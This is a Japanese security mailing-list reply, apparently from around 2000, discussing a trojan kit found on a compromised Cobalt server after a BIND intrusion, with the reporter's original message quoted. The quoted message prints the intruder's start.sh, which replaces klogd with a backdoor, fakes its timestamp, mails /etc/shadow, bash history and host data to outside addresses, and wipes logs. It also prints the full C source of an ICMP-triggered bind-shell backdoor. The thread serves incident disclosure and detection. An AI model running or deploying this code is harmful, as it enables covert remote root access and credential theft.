[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[connect24h:02031] Re: トロイ発見!!



kirei  『ねぇ、見た?このサイト』
 suteki 『これでしょう!いいよね♪』
         http://www.kadan.ne.jp/bn.cgi?info02 
 kantan 『お、いいね。早速使おうっと!』
------------------------------------------------------------------------


中島です。

個人的な意見を述べます(間違いがあれば指摘してください)。

klogd を トロイ仕掛けのicmp に変えるようですが、
logファイルを見ていない場合は、トロイの存在に気がつきにくく、
ps -ax, netstat -ln でも異常Portのチェックから漏れそうです。
icmpのパケットを通過させているケースが多いので、利用する側には
好都合ということになります。

また、コバルトは x86 と MIPS が存在すると認識していますが、
発見したコバルトはどちらの CPU を利用していたのでしょうか。
コバルトの大半は MIPS を利用していると思うので、
MIPS 用途の bind クラックツールが存在することになるのでしょうか?
ccでプログラムをコンパイルしていますが、コバルトは標準で
コンパイラを実装していますか?

不正侵入者が置いていった start.tar を元にして、解凍後、start.sh を
どのように実行するかに関しては、解明できていますか?

Linux 利用者(特にコバルト利用者)は klogd の改ざんチェックを実施する
必要があるようです。/bin/sh と 改ざん後のklogdのタイムスタンプが
同じになるようなので、ファイルサイズによるチェックが必要に思います。

============================================================

In message "[connect24h:02027] トロイ発見!!",
ayatuki@xxxxxxxxxx wrote...
 >kirei  『ねぇ、見た?このサイト』
 > suteki 『これでしょう!いいよね♪』
 >         http://www.kadan.ne.jp/bn.cgi?info02 
 > kantan 『お、いいね。早速使おうっと!』
 >------------------------------------------------------------------------
 >
 >
 >
 >綾月です。
 >ある知り合いのサーバから下記を発見しました。
 >再起動しなくてよかった(^^;)
 >
 >bindが落ちていたので、やられたかなと思い調べていると、namedのディレクトリ以下にstart.tarな
るものを発
 >見!!!!!
 >サーバはコバルトです。
 >bindは完全に落ちていました。
 >bindのバージョンが上げてないようなので、やられてるんじゃないかと思い、サーバを調べていたと
ころ発見し
 >ました。
 >
 >サーバ名とは一切伏せることで、みなさんに通知することを許可されました。
 >みなさん、調べてみてください。
 >
 >bindのディレクトリに
 >------------------------------------------------------------------------------------------
----------
 >------
 >-rw-r--r--   1 root     root        30720 Mar  8 15:50 start.tar
 >
 >上記を解凍した結果は
 >------------------------------------------------------------------------------------------
----------
 >------
 >total 23
 >drwxr-xr-x   2 root     root         1024 Mar  7 04:10 .
 >drwxr-xr-x   3 root     root         1024 Mar  8 21:02 ..
 >-rwxr-xr-x   1 root     bin         14792 May  3  1996 icmp
 >-rw-r--r--   1 root     bin          2519 May  3  1996 icmp.c
 >-rwxr-xr-x   1 root     root         1148 Mar  7 05:17 start.sh
 >
 >start.shのスクリプトの内容
 >------------------------------------------------------------------------------------------
----------
 >------
 >#!/bin/sh
 >#test
 >export PATH=/sbin:/usr/sbin:/bin:/usr/bin:.
 >cc -o icmp icmp.c 1>>/dev/null 2>>/dev/null 3>>/dev/null
 >if [ -f /sbin/klogd ]; then
 >killall -9 klogd 1>>/dev/null 2>>/dev/null 3>>/dev/null
 >rm /sbin/klogd;cp icmp /sbin/klogd
 >touch -r /bin/sh /sbin/klogd
 >klogd
 >echo /**************************HOST IP*****************************/ >>mail.txt
 >ifconfig >>mail.txt
 >echo /**************************HISTORY***************************/ >>mail.txt
 >cat /root/.bash_history >>mail.txt
 >echo /************************HOSTS*****************************/ >>mail.txt
 >cat /etc/hosts >>mail.txt
 >echo /************************PASSWD***************************/ >>mail.txt
 >cat /etc/shadow >>mail.txt
 >mail adore1975@xxxxxxxx < mail.txt
 >echo >/var/log/maillog
 >echo >/var/log/messages
 >rm -rf ../bind
 >exit 0
 >fi
 >killall -9 klogd 1>>/dev/null 2>>/dev/null 3>>/dev/null
 >rm -rf /usr/sbin/klogd;cp icmp /usr/sbin/klogd
 >touch -r /bin/sh /usr/sbin/klogd
 >klogd
 >ifconfig >>mail.txt
 >cat /root/.bash_history >>mail.txt
 >cat /etc/hosts >>mail.txt
 >cat /etc/shadow >>mail.txt
 >mail sniffer5549@xxxxxxxx < mail.txt
 >echo >/var/log/maillog
 >echo >/var/log/messages
 >rm -rf ../bind
 >
 >
 >icmp.cはbackdoorで間違い無し。
 >------------------------------------------------------------------------------------------
----------
 >------
 >/*
 >   ping backdoor for SunOS , test on Solaris7 x86 , but when you use it in SunOS
 >   because the ps's useage is ps -ef , so change argv[0] can't work , I define the
 >   sizepack and port in it, just rename it to syslogd(or other)and run
 >
 >   code by jamez
 >   edit by quack
 >*/
 >
 >#include <signal.h>
 >#include <netinet/in.h>
 >#include <netdb.h>
 >#include <sys/socket.h>
 >#include <sys/types.h>
 >#include <stdio.h>
 >#define SIZEPACK 70
 >#define PORT     52918
 >
 >void child_kill()
 >{
 >  wait(NULL);
 >  signal(SIGCHLD, child_kill);
 >}
 >
 >int bind_shell()
 >{
 >
 >  int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
 >  struct sockaddr_in serv_addr;
 >  struct sockaddr_in client_addr;
 >
 >  setuid(0);
 >  setgid(0);
 >  seteuid(0);
 >  setegid(0);
 >
 >  chdir("/");
 >
 >  soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 >
 >  if (soc_des == -1)
 >    exit(-1);
 >
 >  bzero((char *) &serv_addr,sizeof(serv_addr));
 >
 >  serv_addr.sin_family = AF_INET;
 >  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
 >  serv_addr.sin_port = htons(PORT);
 >  soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
 >
 >  if (soc_rc != 0)
 >    exit(-1);
 >
 >  if (fork() != 0)
 >    exit(0);
 >
 >  setpgrp();
 >
 >  if (fork() != 0)
 >    exit(0);
 >
 >  soc_rc = listen(soc_des, 5);
 >  if (soc_rc != 0)
 >    exit(0);
 >
 >  while (1)
 >    {
 >      soc_len = sizeof(client_addr);
 >      soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
 >
 >      if (soc_cli < 0)
 >        exit(0);
 >
 >      cli_pid = getpid();
 >      server_pid = fork();
 >
 >      if (server_pid != 0)
 >        {
 >          dup2(soc_cli,0);
 >          dup2(soc_cli,1);
 >          dup2(soc_cli,2);
 >          execl("/bin/sh","sh",(char *)0);
 >          close(soc_cli);
 >          return 1;
 >        }
 >
 >      close(soc_cli);
 >    }
 >}
 >
 >int main(int argc, char *argv[])
 >{
 >
 >  int s, size, fromlen;
 >  char pkt[4096];
 >
 >  struct protoent *proto;
 >  struct sockaddr_in from;
 >
 >  if (fork() != 0) exit(0);
 >
 >  proto = getprotobyname("icmp");
 >
 >  if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
 >    /* can't creat raw socket */
 >    exit(0);
 >
 >  /* waiting for packets */
 >  while(1)
 >    {
 >      do
 >        {
 >          fromlen = sizeof(from);
 >          if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, 
&fromlen)) < 0)
 >            printf("ping of %i\n", size-28);
 >
 >        } while (size != SIZEPACK + 28);
 >
 >      /* size == SIZEPACK, let's bind the shell */
 >      switch(fork())      {
 >      case -1:
 >        continue;
 >      case 0:
 >        bind_shell();
 >        exit(0);
 >      }
 >
 >      sleep(15);
 >
 >    }
 >}
 >
 >みなさんの意見お願いします。
 >既にこれらの情報が出ていたら申し訳ないです。
 >何分メールが多かったので、みおとしがあるかも・・・・・
 >____________________________________________________________
 >■A C A M - J . C O M / N E T ____________________________■
 >                             / HOKKAIDO SOHO CLUB from 1997
 >  ☆☆☆                    /
 >  ☆             CG ARTIST / T U K A S A . A Y A T U K I
 >      SECURITY SPECIALIST /              
 >  ☆              E-MAIL / ayatuki@xxxxxxxxxx
 >  ☆☆              WWW / http://www.acam-j.com
 >_______________________/
 >■________________________________________________________■
 >

----
Seiichi Nakashima  nakasei@xxxxxxxxxxxx